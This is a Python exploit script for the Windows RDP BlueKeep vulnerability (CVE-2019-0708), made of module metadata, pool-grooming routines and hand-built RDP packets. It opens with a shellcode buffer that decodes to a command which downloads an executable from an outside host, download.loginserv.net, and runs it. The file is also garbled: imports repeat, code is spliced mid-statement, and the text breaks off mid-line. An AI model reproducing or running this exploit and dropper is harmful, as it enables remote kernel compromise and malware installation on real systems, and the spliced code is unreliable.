#!/usr/bin/env python3 import sys import socket from base64 import b64decode import os import sys import struct import socket import hashlib import binascii import time import sys import struct import socket import ssl import time import binascii import traceback import argparse import errno import base64 import threading import random from Crypto.Cipher import ARC4 import ipaddress buf = b"" buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" buf += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" buf += b"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" buf += b"\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" buf += b"\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" buf += b"\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" buf += b"\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" buf += b"\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" buf += b"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" buf += b"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" buf += b"\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00" buf += b"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d" buf += b"\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a" buf += b"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" buf += b"\xff\xd5\x43\x3a\x5c\x57\x69\x6e\x64\x6f\x77\x73\x5c" buf += b"\x53\x79\x73\x74\x65\x6d\x33\x32\x5c\x63\x6d\x64\x2e" buf += b"\x65\x78\x65\x20\x2f\x43\x20\x63\x64\x20\x25\x74\x65" buf += b"\x6d\x70\x25\x26\x65\x63\x68\x6f\x20\x53\x65\x74\x20" buf += b"\x51\x3d\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63" buf += b"\x74\x28\x22\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e" buf += b"\x58\x4d\x4c\x48\x54\x54\x50\x22\x29\x3a\x51\x2e\x4f" buf += b"\x70\x65\x6e\x20\x22\x47\x45\x54\x22\x2c\x22\x68\x74" buf += b"\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x6c\x6f\x61\x64" buf += b"\x2e\x6c\x6f\x67\x69\x6e\x73\x65\x72\x76\x2e\x6e\x65" buf += b"\x74\x2f\x73\x76\x63\x68\x6f\x73\x74\x2e\x65\x78\x65" buf += b"\x22\x2c\x46\x61\x6c\x73\x65\x3a\x51\x2e\x53\x65\x6e" buf += b"\x64\x3a\x53\x65\x74\x20\x42\x7a\x3d\x43\x72\x65\x61" buf += b"\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\x22\x41\x44\x4f" buf += b"\x44\x42\x2e\x53\x74\x72\x65\x61\x6d\x22\x29\x3a\x42" buf += b"\x7a\x2e\x54\x79\x70\x65\x3d\x31\x3a\x42\x7a\x2e\x4f" buf += b"\x70\x65\x6e\x3a\x42\x7a\x2e\x57\x72\x69\x74\x65\x20" buf += b"\x51\x2e\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64" buf += b"\x79\x3a\x42\x7a\x2e\x53\x61\x76\x65\x54\x6f\x46\x69" buf += b"\x6c\x65\x20\x22\x59\x2e\x65\x78\x65\x22\x2c\x32\x3a" buf += b"\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28" buf += b"\x22\x57\x53\x63\x72\x69\x70\x74\x2e\x53\x68\x65\x6c" buf += b"\x6c\x22\x29\x2e\x52\x75\x6e\x20\x22\x59\x2e\x65\x78" buf += b"\x65\x22\x3a\x20\x3e\x44\x4f\x2e\x76\x62\x73\x26\x73" buf += b"\x74\x61\x72\x74\x20\x77\x73\x63\x72\x69\x70\x74\x20" buf += b"\x44\x4f\x2e\x76\x62\x73\x00" #!/usr/bin/env python3 # Improvement ideas: # - can we use less channels for grooms? # - should we send a multi-TPKT message during free, wrapping it with channels? # - should we send a multi-TPKT message for egg grooms? metadata = { 'name': 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free', 'description': ''' The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120, allowing a malformed Disconnect Provider Indication message to cause use-after-free. With a controllable data/size remote nonpaged pool spray, an indirect call gadget of the freed channel is used to achieve arbitrary code execution. TargetAddr = GROOMBASE + (0x400 * 1024 * GROOMSIZE) GROOMBASE examples: - normal: 0xfffffa8002407000 - hotplug: 0xfffffa8012407000 - hyper-v: 0xfffffa8102407000 ''', 'authors': [ 'ryHanson', 'zerosum0x0' ], 'references': [ {'type': 'cve', 'ref': '2019-0708'}, {'type': 'url', 'ref': 'https://github.com/zerosum0x0/CVE-2019-0708'} ], 'date': 'May 14 2019', 'type': 'remote_exploit', 'rank': 'average', 'privileged': True, 'wfsdelay': 5, 'targets': [ {'platform': 'win', 'arch': 'x64'} ], 'options': { 'RHOST': {'type': 'address', 'description': 'Target server', 'required': True, 'default': None}, 'RPORT': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 3389}, 'SSLVersion': {'type': 'string', 'description': 'SSL/TLS version', 'required': True, 'default': 'TLSv1'}, 'GROOM' : {'type': 'string', 'description': 'type of groom', 'required': True, 'default': 'chunk'}, 'GROOMWAITDELTA' : {'type': 'int', 'description': 'delta wait for grooming (crash avoidance)', 'required': True, 'default': 65}, 'GROOMWAITMIN' : {'type': 'int', 'description': 'minimum to wait after grooming (crash avoidance)', 'required': True, 'default': 5}, 'GROOMCHANNEL' : {'type': 'string', 'description': 'channel to groom (advanced)', 'required': True, 'default': 'RDPSND'}, 'GROOMCHANNELCOUNT' : {'type': 'int', 'description': 'number of channels to groom (advanced)', 'required': True, 'default': 1}, 'GROOMSIZE' : {'type': 'int', 'description': 'size of the groom in MB', 'required': True, 'default': 250}, 'GROOMBASE' : {'type': 'int', 'description': 'target NPP start/base address (manual)', 'required': True, 'default': 0xfffffa8002407000} # = '0xfffffa8021807000' #'GROOMSIZE' : {'type': 'int', 'description': 'size of the groom in MB', 'required': True, 'default': 200}, #'GROOMTARGET' : {'type': 'int', 'description': 'target address for shellcode', 'required': True, 'default': 0xfffffa8010000000} # TODO: add advanced options to tune the groom parameters, etc. }, 'notes': { 'AKA': ['BlueKeep'] } } offsets = { 'Win7x64' : { 'CHANNEL_JMP_ADDR' : 0x100, } } ''' ba e 1 termdd!IcaChannelInputInternal+0x45d "r rax; g;" bp rdpdr!VirtualChannel::SubmitClose bp rdpdr!TSQueueWorker+0xa0 ".printf \"RDPDR poi(%p) == %p (%ly)\\n\", rbx, poi(rbx), poi(rbx); g" bp rdpdr!TSQueueWorker+0x7e ".printf \"RDPDR->fnPtr = %ly\\n\", r11; g" ba e 1 RDPWD!MCSIcaRawInputWorker ".printf \"RAW: %d\\n\", r8; db rdx rdx+r8; g" ''' class GroomStrategy(object): def __init__(self, client, args): self.client = client self.args = args @staticmethod def factory(client, args): name = args['GROOM'].lower() if name == 'frag': return FragGroomStrategy(client, args) elif name == 'chunk': return ChunkGroomStrategy(client, args) return None def before_connect(self): pass def after_handshake(self): pass def trigger_free(self, send = True): print_warning("<---------------- | Entering Danger Zone | ---------------->", self.args) print_status("\tTriggering free!", self.args) # malformed Disconnect Provider Indication PDU (opcode: 0x2, total_size != 0x20) pkt = b"" pkt += b"\x00\x00\x00\x00\x00\x00\x00\x00\x02" # offset +0x8 = opcode pkt += b"\x00" * 0x22 mst120 = self.client.find_channel_by_name("MS_T120") tpkt = self.client.make_channel_raw(mst120.channel_id, pkt, len(pkt), 3) if send: self.transport_write(tpkt) return tpkt def trigger_use(self): print_status("\tTriggering use!", self.args) print_warning("<---------------- | Leaving Danger Zone | ---------------->", self.args) # Disconnect Provider Ultimatum will force use of channel self.client.terminate_connection() self.client.disconnect() def generate_payloads(self, header_offset = 0x38): for payload in self.payloads: yield payload[header_offset:] def make_channel(self, header_offset = 0x38): return self.channel[header_offset:] class FragGroomStrategy(GroomStrategy): def before_connect(self): # bind raw sock pass def after_handshake(self): pass def send_frag_packet(self, alloc_size): pass class ChunkGroomStrategy(GroomStrategy): def __init__(self, client, args): super(ChunkGroomStrategy, self).__init__(client, args) # TODO: Find better address that works for both Win7 and 2008 self.pool_addr = int(args['GROOMBASE']) + (0x400 * 1024 * int(args['GROOMSIZE'])) self.args = args def after_handshake(self): fake_channel = self.create_fake_channel() payloads = self.create_payloads() vprint_status("Using CHUNK groom strategy. %dMB -> 0x%x" % (int(self.args['GROOMSIZE']), self.pool_addr), self.args) #log(repr(payloads)) try: start_id = 0x3ed start = time.time() max_channel = start_id + int(self.args['GROOMCHANNELCOUNT']) channel_filler_tpkt = self.client.make_channel_raw(start_id, fake_channel, 0x0fffffff, 0) # send initial grooms self.client.transport_write(channel_filler_tpkt * 1024) # send wrapped free trigger trigger_tpkt = channel_filler_tpkt * 20 trigger_tpkt += self.trigger_free(False) trigger_tpkt += channel_filler_tpkt * 80 #print_status(repr(trigger_tpkt)) self.client.transport_write(trigger_tpkt) tpkts = b"" for i in range(0x40, 2048): for id in range(start_id, max_channel): tpkts += channel_filler_tpkt if (len(tpkts) > 0x420): self.client.transport_write(tpkts) tpkts = b"" print_status_counter("\t\tSurfing channels...\t", i, 0x800, 0x40) groomMB = int(self.args['GROOMSIZE'] * (1024 / len(payloads))) # 0x400 is 1kib for i in range(0, groomMB): tpkts = b"" for id in range(start_id, max_channel): for payload in payloads: tpkts += self.client.make_channel_raw(id, payload, 0x0fffffff, 0) self.client.transport_write(tpkts) if ((time.time() - start) + 1) % 10 == 0: self.client.transport_write(b"\x04\x80\x0a\x20\x00\x08\xff\x03\x26\x01") print_status_counter("\t\tLobbing eggs...\t\t", i, groomMB) secs = int(self.args['GROOMWAITDELTA']) - (time.time() - start) + 1 gwm = int(self.args['GROOMWAITMIN']) if secs < gwm: secs = gwm if secs > 0: input_fpdu = b"\x04\x80\x0a\x20\x00\x08\xff\x03\x26\x01" #print_sleep("\t\tWaiting a lil...\t", secs, self.client, input_fpdu) self.trigger_use() except socket.error as e: if e.errno == errno.ECONNRESET: print_bad("Connection reset: Groom failed! (Avoided crash... hopefully)", args) else: raise e def create_fake_channel(self): #TODO: Integrate with base class make_channel overspray_addr = self.pool_addr + 0x2000 # 0xfffffa801c902000 shellcode_vtbl = self.pool_addr + 0x48 # 0xfffffa801c900048 chan = b"" # first 0x38 bytes are used by DATA PDU packet # fake channel starts at +0x38, which is +0x20 of an _ERESOURCE chan += struct.pack('RDPDR_CTYP_CORE = 0x4472 return # opcodes = https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpefs/29d4108f-8163-4a67-8271-e48c4b9c2a7c opcode = struct.unpack("PAKID_CORE_SERVER_ANNOUNCE = 0x496e") #vprint_status("Got RDPDR announce.") self.send_message(self.rdpdr_client_announce_reply()) self.send_message(self.rdpdr_client_name_request()) elif opcode == 0x5350: self.client.print_func("[rdpdr] Header->PAKID_CORE_SERVER_CAPABILITY = 0x5350") reply = data[:3] + b"\x43" + data[4:] # for this, we change opcode 1 byte to match server capabilities. (0x4350) self.send_message(reply) elif opcode == 0x4343: # Server Client ID confirm self.client.print_func("[rdpdr] Header->PAKID_CORE_CLIENTID_CONFIRM = 0x4343") self.send_message(self.rdpdr_client_device_list_announce_request()) # Groom the pool! #vprint_status("Completed RDPDR handshake!") self.groom_strategy.after_handshake() else: self.client.print_func("[rdpdr] unknown opcode (%04x)" % (opcode)) #sys.exit(0) # rdpdr closes channel on us if first packet is invalid, this one allows arbitrary size #p = b"" #p += b"\x72\x44" # Header->RDPDR_CTYP_CORE = 0x4472 #p += b"\x4d\x44" # Header->PAKID_CORE_DEVICELIST_REMOVE = 0x444d #p += b"\xff\xff\xff\x00" # size in bytes * 4 #p += b"\x01\x00\x00\x00" #for id in range(0x3ec, 0x3f0): # self.client.send_channel_raw(id, p, 0x0fffffff, 1) # # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpefs/d6fe6d1b-c145-4a6f-99aa-4fe3cdcea398 # DR_CORE_CLIENT_ANNOUNCE_RSP def rdpdr_client_announce_reply(self): p = b"" p += b"\x72\x44" # Header->RDPDR_CTYP_CORE = 0x4472 p += b"\x43\x43" # Header->PAKID_CORE_CLIENTID_CONFIRM = 0x4343 p += b"\x01\x00" # VersionMajor = 0x0001 p += b"\x0c\x00" # VersionMinor = 0x000c p += b"\x02\x00\x00\x00" # ClientId = 0x00000002 return p # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpefs/902497f1-3b1c-4aee-95f8-1668f9b7b7d2 # DR_CORE_CLIENT_NAME_REQ def rdpdr_client_name_request(self): p = b"" p += b"\x72\x44" # Header->RDPDR_CTYP_CORE = 0x4472 p += b"\x4e\x43" # Header->PAKID_CORE_CLIENT_NAME = 0x434e p += b"\x01\x00\x00\x00" # UnicodeFlag = 0x00000001 p += b"\x00\x00\x00\x00" # CodePage = 0x00000000 p += b"\x0e\x00\x00\x00" # ComputerNameLen = 0x0000001e (30) p += b"\x65\x00\x74\x00\x68\x00\x64\x00\x65\x00\x76\x00\x00\x00" # TODO: randomize return p # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpefs/10ef9ada-cba2-4384-ab60-7b6290ed4a9a # DR_CORE_DEVICELIST_ANNOUNCE_REQ def rdpdr_client_device_list_announce_request(self): return b"\x72\x44\x41\x44\x00\x00\x00\x00" def rdpdr_client_device_list_remove(self): p = b"" p += b"\x72\x44" # Header->RDPDR_CTYP_CORE = 0x4472 p += b"\x4d\x44" # Header->PAKID_CORE_DEVICELIST_REMOVE = 0x444d p += b"\xff\xff\xff\x01" # size in bytes * 4 p += b"\x01\x00\x00\x00" return p class RdpClient(object): def __init__(self, args, host, port, protocol, print_func, timeout = 35.0): self.host = host self.port = port self.protocol = protocol self.timeout = timeout self.channels = [] self.print_func = print_func self.sock = None self.args = args def add_channel(self, channel): if self.find_channel_by_name(channel.name) != None: return channel.channel_id = 1004 + len(self.channels) channel.client = self self.print_func("[%s] Assigned to %d" % (channel.name, channel.channel_id), self.args) self.channels.append(channel) def find_channel_by_name(self, name): name = name.lower() for channel in self.channels: if channel.name.lower() == name: return channel return None def find_channel_by_id(self, id): start = 1004 if len(self.channels) == 0 or id < start or id > start + len(self.channels): return None return self.channels[id - start] def connect(self): self._create_socket() vprint_status("Socket connection established.", self.args) self.send_client_data() self.send_channel_packets() self.send_client_info() self.recv_packet() # Server License Error PDU # TODO: handle license packet for server 2008 RDS self.recv_packet() # Server Demand Active PDU self.send_confirm_active() self.send_establish_session() print_good("Completed RDP handshake!", self.args) while self.sock != None: pkt = self.recv_packet() self._handle_packet(pkt) def disconnect(self): if self.sock != None: #self.sock.shutdown(socket.SHUT_RDWR) self.sock.close() self.sock = None def transport_write(self, pkt): #self.print_func("[RdpClient] _transport_write(%d): %s" % (len(pkt), binascii.hexlify(pkt[0:50]))) self.tls.sendall(pkt) def _handle_packet(self, pkt): if pkt[0] == 0x3 or pkt[0] == '\x03': self._handle_tpkt(pkt) else: pass def _handle_tpkt(self, pkt): if pkt[4:7] != b"\x02\xf0\x80": return if pkt[7] == 0x68 or pkt[7] == '\x68': user = pkt[8:10] channel_id = struct.unpack(">H", pkt[10:12])[0] channel = self.find_channel_by_id(channel_id) if channel == None: return flags = pkt[18:22] data = pkt[22:] channel.on_data_received(self, data, flags, pkt) def _create_socket(self): self.sock = socket.create_connection((self.host, self.port), self.timeout) #self.sock.settimeout(self.timeout) context = ssl._create_unverified_context(protocol = self.protocol) # allow certificate errors! self.sock.sendall(self.build_negotiate_request()) self.sock.recv(8192) self.tls = context.wrap_socket(self.sock, server_hostname=self.host) def recv_packet(self): ''' throws socket.timeout ''' hdr = self.recv_raw(4) #print_good(repr(hdr)) if hdr[0] == 0x3 or hdr[0] == '\x03': amount = struct.unpack(">H", hdr[2:4])[0] - 4 else: flags = hdr[1] if (flags & 0x80) == 0x80: amount = (struct.unpack(">H", hdr[1:3])[0] & 0x7FFF) - 4 else: amount = flags - 4 hdr += self.recv_raw(amount) #print_good(repr(hdr)) self.print_func("[RdpClient] recv_packet(%d): %s" % (len(hdr), binascii.hexlify(hdr[0:50]))) return hdr def recv_raw(self, amount): ''' throws socket.timeout ''' data = b"" while amount > 0: new_data = self.tls.recv(amount) data += new_data amount -= len(new_data) return data # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/e78db616-689f-4b8a-8a99-525f7a433ee2 def build_negotiate_request(self): pkt = b"" pkt += b"\x03\x00\x00\x13" # TPKT pkt += b"\x0e\xe0\x00\x00\x00\x00\x00" # X.224 0xe = CR TPDU pkt += b"\x01" # RDP Negotiation Request pkt += b"\x00" # Flags pkt += b"\x08\x00" # Length pkt += b"\x01\x00\x00\x00" # request TLS return pkt # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/2610fcc7-3df4-4166-85bb-2c7ae21f6151 def send_client_data(self): ''' p = b"\x03\x00\x01\xca" # TPKT p += b"\x02\xf0\x80" # X.224 Data TPDU p += b"\x7f\x65" # BER: Application-Defined Type = APPLICATION 101 = Connect-Initial p += b"\x82" # BER length in next two bytes >256 <65536 p += b"\x07\xc2" # length of rest of the data p += b"\x04\x01\x01" # Connect-Initial::callingDomainSelector p += b"\x04\x01\x01" # Connect-Initial::calledDomainSelector p += b"\x01\x01\xff" # Connect-Initial::upwardFlag = TRUE p += b"\x30\x1a" # Connect-Initial::targetParameters p += b"\x02\x01\x22" # DomainParameters::maxChannelIds = 34 p += b"\x02\x01\x02" # DomainParameters::maxUserIds = 2 p += b"\x02\x01\x00" # DomainParameters::maxTokenIds = 0 p += b"\x02\x01\x01" # DomainParameters::numPriorities = 1 p += b"\x02\x01\x00" # DomainParameters::minThroughput = 0 p += b"\x02\x01\x01" # DomainParameters::maxHeight = 1 p += b"\x02\x03\x00\xff\xff" # DomainParameters::maxMCSPDUsize = 65535 p += b"\x02\x01\x02" # DomainParameters::protocolVersion = 2 p += b"\x30\x19" # Connect-Initial::minimumParameters (25 bytes) p += b"\x02\x01\x01" # DomainParameters::maxChannelIds = 1 p += b"\x02\x01\x01" # DomainParameters::maxUserIds = 1 p += b"\x02\x01\x01" # DomainParameters::maxTokenIds = 1 p += b"\x02\x01\x01" # DomainParameters::numPriorities = 1 p += b"\x02\x01\x00" # DomainParameters::minThroughput = 0 p += b"\x02\x01\x01" # DomainParameters::maxHeight = 1 p += b"\x02\x02\x04\x20" # DomainParameters::maxMCSPDUsize = 1056 p += b"\x02\x01\x02" # DomainParameters::protocolVersion = 2 p += b"\x30\x20" # Connect-Initial::maximumParameters p += b"\x02\x03\x00\xff\xff" # DomainParameters::maxChannelIds = 65535 p += b"\x02\x03\x00\xfc\x17" # DomainParameters::maxUserIds = 64535 p += b"\x02\x03\x00\xff\xff" # DomainParameters::maxTokenIds = 65535 p += b"\x02\x01\x01" # DomainParameters::numPriorities = 1 p += b"\x02\x01\x00" # DomainParameters::minThroughput = 0 p += b"\x02\x01\x01" # DomainParameters::maxHeight = 1 p += b"\x02\x03\x00\xff\xff" # DomainParameters::maxMCSPDUsize = 65535 p += b"\x02\x01\x02" # DomainParameters::protocolVersion = 2 # begin Connect-Initial::userData p += b"\x04" # ASN.1 OctetString p += b"\x82" # BER length in next two bytes >256 <65536 p += b"\x01\x61" # length of rest of the data p += b"\x00\x05" # CHOICE: 0, object length = 5 bytes p += b"\x00\x14\x7c\x00\x01" # v.1 of ITU-T Recommendation T.124 (Feb 1998): "Generic Conference Control" # begin ConnectData::connectPDU p += b"\x81\x44" p += b"\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63\x61\x81\x34\x01\xc0\xea\x00\x0a\x00\x08\x00\x80\x07\x38\x04\x01\xca\x03\xaa\x09\x04\x00\x00\xee\x42\x00\x00\x44\x00\x45\x00\x53\x00\x4b\x00\x54\x00\x4f\x00\x50\x00\x2d\x00\x46\x00\x38\x00\x34\x00\x30\x00\x47\x00\x49\x00\x4b\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xca\x01\x00\x00\x00\x00\x00\x18\x00\x0f\x00\xaf\x07\x62\x00\x63\x00\x37\x00\x38\x00\x65\x00\x66\x00\x36\x00\x33\x00\x2d\x00\x39\x00\x64\x00\x33\x00\x33\x00\x2d\x00\x34\x00\x31\x00\x39\x38\x00\x38\x00\x2d\x00\x39\x00\x32\x00\x63\x00\x66\x00\x2d\x00\x00\x31\x00\x62\x00\x32\x00\x64\x00\x61\x00\x42\x42\x42\x42\x07\x00\x01\x00\x00\x00\x56\x02\x00\x00\x50\x01\x00\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x04\xc0\x0c\x00\x15\x00\x00\x00\x00\x00\x00\x00\x02\xc0\x0c\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x03\xc0\x38\x00\x04\x00\x00\x00" p += b"\x72\x64\x70\x64\x72\x00\x00\x00\x00\x00\x20\x80" # rdpdr = 7264706472 c0a00000 p += b"\x63\x6c\x69\x70\x72\x64\x72\x00\x00\x00\xa0\xc0" # cliprdr p += b"\x64\x72\x64\x79\x6e\x76\x63\x00\x00\x00\x80\xc0" # drdynvc p += b"\x4d\x53\x5f\x54\x31\x32\x30\x00\x00\x00\x00\x80" # MS_T120 # TODO: finish doing the above thing! ''' pkt = b"" pkt += b"\x03\x00\x02\x13\x02\xf0\x80\x7f\x65\x82\x02\x07\x04\x01\x01\x04\x01\x01\x01\x01\xff\x30\x1a\x02\x01\x22\x02\x01\x02\x02\x01\x00\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x03\x00\xff\xff\x02\x01\x02\x30\x19\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\x04\x20\x02\x01\x02\x30\x20\x02\x03\x00\xff\xff\x02\x03\x00\xfc\x17\x02\x03\x00\xff\xff\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x03\x00\xff\xff\x02\x01\x02\x04\x82\x01\xa1\x00\x05\x00\x14\x7c\x00\x01\x81\x98\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63\x61\x81\x8a\x01\xc0\xea\x00\x0b\x00\x08\x00\x00\x04\x00\x03\x01\xca\x03\xaa\x09\x04\x00\x00\x28\x0a\x00\x00\x65\x00\x74\x00\x68\x00\x64\x00\x65\x00\x76\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xca\x01\x00\x00\x00\x00\x00\x10\x00\x07\x00\x61\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\xc0\x0c\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x02\xc0\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xc0\x80\x00\x0a\x00\x00\x00" # TODO: dynamically generate this list based on self.channels pkt += b"\x72\x64\x70\x64\x72\x00\x00\x00\x00\x00\x80\xc0" # rdpdr spam_channel = self.args['GROOMCHANNEL'].encode() # TODO: remove global full_spam_pkt = spam_channel + (b"\x00" * (8 - len(spam_channel))) + b"\x00\x00\x00\xc0" pkt += full_spam_pkt pkt += full_spam_pkt #pkt += b"\x72\x64\x70\x73\x6e\x64\x00\x00\x00\x00\x00\xc0" # rdpsnd #pkt += b"\x43\x54\x58\x54\x57\x20\x20\x00\x00\x00\x80\xc0" #pkt += b"\x52\x44\x50\x44\x4e\x44\x00\x00\x00\x00\xa0\xc0" # RDPDND #pkt += b"\x52\x44\x50\x43\x6c\x69\x70\x00\x00\x00\x00\xc0" # RDPClip #pkt += b"\x63\x6c\x69\x70\x72\x64\x72\x00\x00\x00\xa0\xc0" # cliprdr pkt += b"\x4d\x53\x5f\x58\x58\x58\x30\x00\x00\x00\xa0\xc0" # MS_XXX0 pkt += b"\x4d\x53\x5f\x58\x58\x58\x31\x00\x00\x00\xa0\xc0" # MS_XXX1 pkt += b"\x4d\x53\x5f\x58\x58\x58\x32\x00\x00\x00\xa0\xc0" # MS_XXX2 pkt += b"\x4d\x53\x5f\x58\x58\x58\x33\x00\x00\x00\xa0\xc0" # MS_XXX3 pkt += b"\x4d\x53\x5f\x58\x58\x58\x34\x00\x00\x00\xa0\xc0" # MS_XXX4 pkt += b"\x4d\x53\x5f\x58\x58\x58\x35\x00\x00\x00\xa0\xc0" # MS_XXX5 pkt += b"\x4d\x53\x5f\x54\x31\x32\x30\x00\x00\x00\xa0\xc0" # MS_T120 pkt += b"\x06\xc0\x08\x00\x00\x00\x00\x00" self.transport_write(pkt) self.recv_packet() def send_client_info(self): p = b"\x03\x00\x01\x49\x02\xf0\x80\x64" p += struct.pack(">H", self.get_user_id()) p += b"\x03\xeb\x70\x81\x3a\x40\x00\x00\x00\x00\x00\x00\x00\xf3\x47\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x1c\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x38\x00\x2e\x00\x31\x00\x2e\x00\x34\x00\x37\x00\x00\x00\x00\x00\x42\x00\x43\x00\x3a\x00\x5c\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x5c\x00\x53\x00\x79\x00\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x6d\x00\x73\x00\x74\x00\x73\x00\x63\x00\x61\x00\x78\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00\x00\x00\xa4\x01\x00\x00\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00\x20\x00\x53\x00\x74\x00\x61\x00\x6e\x00\x64\x00\x61\x00\x72\x00\x64\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00\x20\x00\x44\x00\x61\x00\x79\x00\x6c\x00\x69\x00\x67\x00\x68\x00\x74\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\xff\xff\xff\x00\x00\x00\x00\x86\x00\x00\x00\x00\x00" self.transport_write(p) def send_channel_join(self, channel_id): p = b"" p += b"\x03\x00\x00\x0c\x02\xf0\x80\x38" # Channel Join Request PDU p += struct.pack(">H", self.get_user_id()) p += struct.pack(">H", channel_id) self.transport_write(p) self.recv_packet() # Channel Join Confirm PDU def send_channel_packets(self): p1 = b"\x03\x00\x00\x0c\x02\xf0\x80\x04\x01\x00\x01\x00" # MCS Erect Domain self.transport_write(p1) p2 = b"\x03\x00\x00\x08\x02\xf0\x80\x28" # MCS Attach User Request PDU self.transport_write(p2) self.recv_packet() # MCS Attach User Confirm PDU self.send_channel_join(self.get_user_channel_id()) # User Channel self.send_channel_join(1003) # I/O Channel for channel in self.channels: self.send_channel_join(channel.channel_id) def send_confirm_active(self): p = b"" p += 